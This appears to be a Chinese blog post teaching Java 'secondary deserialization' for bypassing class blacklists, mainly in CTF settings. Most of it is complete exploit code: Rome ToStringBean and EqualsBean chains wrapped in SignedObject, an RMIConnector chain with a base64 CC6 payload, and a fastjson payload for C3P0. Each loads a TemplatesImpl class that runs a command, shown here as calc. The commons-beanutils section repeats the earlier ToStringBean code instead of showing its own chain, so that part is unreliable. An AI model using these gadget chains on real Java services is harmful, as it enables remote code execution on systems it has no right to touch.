灭霸头条

从0到1的二次反序列化

2024-04-10 19:24 由 F12~ 发表于 #其他

前言

简单介绍下二次反序列化，顾名思义，就是反序列化两次，其主要意义是绕过黑名单的限制或不出网利用，有些CTF题把一大堆关键类全都ban了，这就让人无从下手，二次反序列化就是为此而生的

SignedObject

原理

看构造函数，接受一个可序列化的对象，再进行一次序列化，简直不要太perfect


关注一下这个类的getObject方法，this.content可控，且进行了反序列化

简单的构造一个恶意的SignedObject

KeyPairGenerator kpg = KeyPairGenerator.getInstance("DSA");
kpg.initialize(1024);
KeyPair kp = kpg.generateKeyPair();
SignedObject signedObject = new SignedObject(恶意对象,kp.getPrivate(), Signature.getInstance("DSA"));

然后调用SignedObject的getObject方法即可，现在的问题是去哪调用这个方法

rome链

ToStringBean

上篇文章刚讲过rome链，可以调用任意get方法，结合一下就能实现二次反序列化了

package org.example;

import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import com.sun.syndication.feed.impl.EqualsBean;
import com.sun.syndication.feed.impl.ObjectBean;
import com.sun.syndication.feed.impl.ToStringBean;
import javassist.*;

import javax.xml.transform.Templates;
import java.io.*;
import java.lang.reflect.Field;
import java.security.*;
import java.time.temporal.Temporal;
import java.util.HashMap;

public class toStringBean {
    public static void setFieldValue(Object obj, String fieldName, Object value) throws NoSuchFieldException, IllegalAccessException {
        Field f = obj.getClass().getDeclaredField(fieldName);
        f.setAccessible(true);
        f.set(obj, value);
    }
    public static CtClass getEvilClass() throws CannotCompileException, NotFoundException {
        ClassPool pool = ClassPool.getDefault();
        pool.insertClassPath(new ClassClassPath(AbstractTranslet.class));
        CtClass ct = pool.makeClass("Cat");
        String cmd = "java.lang.Runtime.getRuntime().exec(\"calc\");";
        ct.makeClassInitializer().insertBefore(cmd);
        String randomClassName = "EvilCat" + System.nanoTime();
        ct.setName(randomClassName);
        ct.setSuperclass(pool.get(AbstractTranslet.class.getName()));
        return ct;
    }
    public static HashMap getPayload(Class clazz, Object obj) {
        ObjectBean objectBean = new ObjectBean(ToStringBean.class, new ToStringBean(clazz, obj));
        HashMap hashMap = new HashMap();
        hashMap.put(objectBean, "rand");
        return hashMap;
    }
    public static void Unser(Object obj) throws IOException, ClassNotFoundException {
        ByteArrayOutputStream bos = new ByteArrayOutputStream();
        ObjectOutputStream oos = new ObjectOutputStream(bos);
        oos.writeObject(obj);
        ByteArrayInputStream bis = new ByteArrayInputStream(bos.toByteArray());
        ObjectInputStream ois = new ObjectInputStream(bis);
        ois.readObject();
    }
    public static void main(String[] args) throws NoSuchAlgorithmException, IOException, SignatureException, InvalidKeyException, NotFoundException, CannotCompileException, NoSuchFieldException, IllegalAccessException, ClassNotFoundException {
        TemplatesImpl templatesImpl = new TemplatesImpl();
        byte[][] bytes = new byte[][]{getEvilClass().toBytecode()};
        setFieldValue(templatesImpl, "_bytecodes", bytes);
        setFieldValue(templatesImpl, "_tfactory", new TransformerFactoryImpl());
        setFieldValue(templatesImpl, "_name", "x");
        KeyPairGenerator kpg = KeyPairGenerator.getInstance("DSA");
        kpg.initialize(1024);
        KeyPair kp = kpg.generateKeyPair();
        HashMap hashMap1 = getPayload(Templates.class, templatesImpl);
        SignedObject signedObject = new SignedObject(hashMap1, kp.getPrivate(), Signature.getInstance("DSA"));
        HashMap hashMap2 = getPayload(SignedObject.class, signedObject);
        Unser(hashMap2);
    }
}

大概的流程是这样的：hashMap2:readObject()->signedObject:getObject->hashMap1:readObject

EqualsBean

rome的另一条链，通过euqals来触发

package org.example;

import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import com.sun.syndication.feed.impl.EqualsBean;
import javassist.*;

import javax.xml.transform.Templates;
import java.io.*;
import java.lang.reflect.Field;
import java.security.*;
import java.util.HashMap;
import java.util.HashSet;
import java.util.Hashtable;

public class equalsBean {
    public static void setFieldValue(Object obj, String fieldName, Object value) throws NoSuchFieldException, IllegalAccessException {
        Field f = obj.getClass().getDeclaredField(fieldName);
        f.setAccessible(true);
        f.set(obj, value);
    }
    public static CtClass getEvilClass() throws CannotCompileException, NotFoundException {
        ClassPool pool = ClassPool.getDefault();
        pool.insertClassPath(new ClassClassPath(AbstractTranslet.class));
        CtClass ct = pool.makeClass("Cat");
        String cmd = "java.lang.Runtime.getRuntime().exec(\"calc\");";
        ct.makeClassInitializer().insertBefore(cmd);
        String randomClassName = "EvilCat" + System.nanoTime();
        ct.setName(randomClassName);
        ct.setSuperclass(pool.get(AbstractTranslet.class.getName()));
        return ct;
    }
    public static void Unser(Object obj) throws IOException, ClassNotFoundException {
        ByteArrayOutputStream bos = new ByteArrayOutputStream();
        ObjectOutputStream oos = new ObjectOutputStream(bos);
        oos.writeObject(obj);
        ByteArrayInputStream bis = new ByteArrayInputStream(bos.toByteArray());
        ObjectInputStream ois = new ObjectInputStream(bis);
        ois.readObject();
    }

    public static Hashtable getPayload(Class clazz, Object obj) throws NoSuchFieldException, IllegalAccessException {
        EqualsBean bean = new EqualsBean(String.class, "s");
        HashMap map1 = new HashMap();
        HashMap map2 = new HashMap();
        map1.put("yy", bean);
        map1.put("zZ", obj);
        map2.put("zZ", bean);
        map2.put("yy", obj);
        Hashtable table = new Hashtable();
        table.put(map1, "1");
        table.put(map2, "2");
        setFieldValue(bean, "_beanClass", clazz);
        setFieldValue(bean, "_obj", obj);
        return table;
    }
    public static void main(String[] args) throws NoSuchAlgorithmException, NotFoundException, CannotCompileException, NoSuchFieldException, IllegalAccessException, IOException, SignatureException, InvalidKeyException, ClassNotFoundException {
        TemplatesImpl templatesImpl = new TemplatesImpl();
        byte[][] bytes = new byte[][]{getEvilClass().toBytecode()};
        setFieldValue(templatesImpl, "_bytecodes", bytes);
        setFieldValue(templatesImpl, "_tfactory", new TransformerFactoryImpl());
        setFieldValue(templatesImpl, "_name", "x");
        KeyPairGenerator kpg = KeyPairGenerator.getInstance("DSA");
        kpg.initialize(1024);
        KeyPair kp = kpg.generateKeyPair();
        Hashtable table1 = getPayload(Templates.class, templatesImpl);
        SignedObject signedObject = new SignedObject(table1, kp.getPrivate(), Signature.getInstance("DSA"));
        Hashtable table2 = getPayload(SignedObject.class, signedObject);
        Unser(table2);
    }
}

虽然有报错，但没啥大影响

commons-beanutils链

回想以前学过的，还有什么能调用到getter呢？CB链中有个这个类BeanComparator

BeanComparator


很熟悉了

package org.example;

import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import com.sun.syndication.feed.impl.EqualsBean;
import com.sun.syndication.feed.impl.ObjectBean;
import com.sun.syndication.feed.impl.ToStringBean;
import javassist.*;

import javax.xml.transform.Templates;
import java.io.*;
import java.lang.reflect.Field;
import java.security.*;
import java.time.temporal.Temporal;
import java.util.HashMap;

public class toStringBean {
    public static void setFieldValue(Object obj, String fieldName, Object value) throws NoSuchFieldException, IllegalAccessException {
        Field f = obj.getClass().getDeclaredField(fieldName);
        f.setAccessible(true);
        f.set(obj, value);
    }
    public static CtClass getEvilClass() throws CannotCompileException, NotFoundException {
        ClassPool pool = ClassPool.getDefault();
        pool.insertClassPath(new ClassClassPath(AbstractTranslet.class));
        CtClass ct = pool.makeClass("Cat");
        String cmd = "java.lang.Runtime.getRuntime().exec(\"calc\");";
        ct.makeClassInitializer().insertBefore(cmd);
        String randomClassName = "EvilCat" + System.nanoTime();
        ct.setName(randomClassName);
        ct.setSuperclass(pool.get(AbstractTranslet.class.getName()));
        return ct;
    }
    public static HashMap getPayload(Class clazz, Object obj) {
        ObjectBean objectBean = new ObjectBean(ToStringBean.class, new ToStringBean(clazz, obj));
        HashMap hashMap = new HashMap();
        hashMap.put(objectBean, "rand");
        return hashMap;
    }
    public static void Unser(Object obj) throws IOException, ClassNotFoundException {
        ByteArrayOutputStream bos = new ByteArrayOutputStream();
        ObjectOutputStream oos = new ObjectOutputStream(bos);
        oos.writeObject(obj);
        ByteArrayInputStream bis = new ByteArrayInputStream(bos.toByteArray());
        ObjectInputStream ois = new ObjectInputStream(bis);
        ois.readObject();
    }
    public static void main(String[] args) throws NoSuchAlgorithmException, IOException, SignatureException, InvalidKeyException, NotFoundException, CannotCompileException, NoSuchFieldException, IllegalAccessException, ClassNotFoundException {
        TemplatesImpl templatesImpl = new TemplatesImpl();
        byte[][] bytes = new byte[][]{getEvilClass().toBytecode()};
        setFieldValue(templatesImpl, "_bytecodes", bytes);
        setFieldValue(templatesImpl, "_tfactory", new TransformerFactoryImpl());
        setFieldValue(templatesImpl, "_name", "x");
        KeyPairGenerator kpg = KeyPairGenerator.getInstance("DSA");
        kpg.initialize(1024);
        KeyPair kp = kpg.generateKeyPair();
        HashMap hashMap1 = getPayload(Templates.class, templatesImpl);
        SignedObject signedObject = new SignedObject(hashMap1, kp.getPrivate(), Signature.getInstance("DSA"));
        HashMap hashMap2 = getPayload(SignedObject.class, signedObject);
        Unser(hashMap2);
    }
}

RMIConnector

这个类是javax.management下一个与远程 rmi 连接器的连接类，看findRMIServerJRMP这个方法，符合我们的需求


找谁调用了findRMIServerJRMP，类中方法findRMIServer调用了，不过得满足path.startsWith("/stub/")

继续往上找，类中方法connect调用了，jmxServiceURL是类中属性，可以通过反射修改，得满足rmiServer==null

这个构造方法刚好满足

给出构造形式：

JMXServiceURL jmxServiceURL = new JMXServiceURL("service:jmx:rmi://");
setFieldValue(jmxServiceURL, "urlPath", "/stub/base64string");
RMIConnector rmiConnector = new RMIConnector(jmxServiceURL, null);

现在想办法调用connect就行了

CC链

任意调用方法，CC链yyds，这里base64的是CC6的数据

package org.example;

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;

import javax.management.remote.JMXServiceURL;
import javax.management.remote.rmi.RMIConnector;
import java.io.*;
import java.lang.reflect.Field;
import java.util.HashMap;
import java.util.Map;

public class rmiConnector {
    public static void setFieldValue(Object obj, String fieldName, Object value) throws NoSuchFieldException, IllegalAccessException {
        Field f = obj.getClass().getDeclaredField(fieldName);
        f.setAccessible(true);
        f.set(obj, value);
    }
    public static void Unser(Object obj) throws IOException, ClassNotFoundException {
        ByteArrayOutputStream bos = new ByteArrayOutputStream();
        ObjectOutputStream oos = new ObjectOutputStream(bos);
        oos.writeObject(obj);
        ByteArrayInputStream bis = new ByteArrayInputStream(bos.toByteArray());
        ObjectInputStream ois = new ObjectInputStream(bis);
        ois.readObject();
    }
    public static void main(String[] args) throws NoSuchFieldException, IllegalAccessException, IOException, ClassNotFoundException {
        JMXServiceURL jmxServiceURL = new JMXServiceURL("service:jmx:rmi://");
        setFieldValue(jmxServiceURL, "urlPath", "/stub/rO0ABXNyABFqYXZhLnV0aWwuSGFzaE1hcAUH2sHDFmDRAwACRgAKbG9hZEZhY3RvckkACXRocmVzaG9sZHhwP0AAAAAAAAx3CAAAABAAAAABc3IANG9yZy5hcGFjaGUuY29tbW9ucy5jb2xsZWN0aW9ucy5rZXl2YWx1ZS5UaWVkTWFwRW50cnmKrdKbOcEf2wIAAkwAA2tleXQAEkxqYXZhL2xhbmcvT2JqZWN0O0wAA21hcHQAD0xqYXZhL3V0aWwvTWFwO3hwcHNyACpvcmcuYXBhY2hlLmNvbW1vbnMuY29sbGVjdGlvbnMubWFwLkxhenlNYXBu5ZSCnnkQlAMAAUwAB2ZhY3Rvcnl0ACxMb3JnL2FwYWNoZS9jb21tb25zL2NvbGxlY3Rpb25zL1RyYW5zZm9ybWVyO3hwc3IAOm9yZy5hcGFjaGUuY29tbW9ucy5jb2xsZWN0aW9ucy5mdW5jdG9ycy5DaGFpbmVkVHJhbnNmb3JtZXIwx5fsKHqXBAIAAVsADWlUcmFuc2Zvcm1lcnN0AC1bTG9yZy9hcGFjaGUvY29tbW9ucy9jb2xsZWN0aW9ucy9UcmFuc2Zvcm1lcjt4cHVyAC1bTG9yZy5hcGFjaGUuY29tbW9ucy5jb2xsZWN0aW9ucy5UcmFuc2Zvcm1lcju9Virx2DQYmQIAAHhwAAAABHNyADtvcmcuYXBhY2hlLmNvbW1vbnMuY29sbGVjdGlvbnMuZnVuY3RvcnMuQ29uc3RhbnRUcmFuc2Zvcm1lclh2kBFBArGUAgABTAAJaUNvbnN0YW50cQB+AAN4cHZyABFqYXZhLmxhbmcuUnVudGltZQAAAAAAAAAAAAAAeHBzcgA6b3JnLmFwYWNoZS5jb21tb25zLmNvbGxlY3Rpb25zLmZ1bmN0b3JzLkludm9rZXJUcmFuc2Zvcm1lcofo/2t7fM44AgADWwAFaUFyZ3N0ABNbTGphdmEvbGFuZy9PYmplY3Q7TAALaU1ldGhvZE5hbWV0ABJMamF2YS9sYW5nL1N0cmluZztbAAtpUGFyYW1UeXBlc3QAEltMamF2YS9sYW5nL0NsYXNzO3hwdXIAE1tMamF2YS5sYW5nLk9iamVjdDuQzlifEHMpbAIAAHhwAAAAAnQACmdldFJ1bnRpbWVwdAARZ2V0RGVjbGFyZWRNZXRob2R1cgASW0xqYXZhLmxhbmcuQ2xhc3M7qxbXrsvNWpkCAAB4cAAAAAJ2cgAQamF2YS5sYW5nLlN0cmluZ6DwpDh6O7NCAgAAeHB2cQB+ABtzcQB+ABJ1cQB+ABcAAAACcHB0AAZpbnZva2V1cQB+ABsAAAACdnIAEGphdmEubGFuZy5PYmplY3QAAAAAAAAAAAAAAHhwdnEAfgAXc3EAfgASdXEAfgAXAAAAAXQABGNhbGN0AARleGVjdXEAfgAbAAAAAXEAfgAec3EAfgAAP0AAAAAAAAx3CAAAABAAAAAAeHhweA==");
        RMIConnector rmiConnector = new RMIConnector(jmxServiceURL, null);
        InvokerTransformer invokerTransformer = new InvokerTransformer("connect", null, null);
        Map<Object, Object> map = new HashMap<>();
        Map<Object, Object> lazymap = LazyMap.decorate(map, new ConstantTransformer(1));
        TiedMapEntry tiedMapEntry = new TiedMapEntry(lazymap, rmiConnector);
        HashMap<Object, Object> hashMap = new HashMap<>();
        hashMap.put(tiedMapEntry, null);
        map.remove(rmiConnector);
        setFieldValue(lazymap, "factory", invokerTransformer);
        Unser(hashMap);
    }
}

WrapperConnectionPoolDataSource

WrapperConnectionPoolDataSource继承于WrapperConnectionPoolDataSourceBase，在WrapperConnectionPoolDataSourceBase中存在属性userOverridesAsString及其setter方法setUserOverridesAsString，触发fireVetoableChange事件处理


在WrapperConnectionPoolDataSource中有个判断当其属性为userOverridesAsString时，将调用parseUserOverridesAsString方法

进入parseUserOverridesAsString方法，截取HexAsciiSerializedMap之后的内容，进入到fromByteArray

最后进入到deserializeFromByteArray中，进行二次反序列化

结合fastjson来exploit

{
    "rand1": {
        "@type": "java.lang.Class",
        "val": "com.mchange.v2.c3p0.WrapperConnectionPoolDataSource"
    },
    "rand2": {
        "@type": "com.mchange.v2.c3p0.WrapperConnectionPoolDataSource",
        "userOverridesAsString": "HexAsciiSerializedMap:hexstring;",
    }
}

hexstring就是我们的恶意类代码

结尾

二次反序列化到此为止，以后若有其它方式，再继续补充

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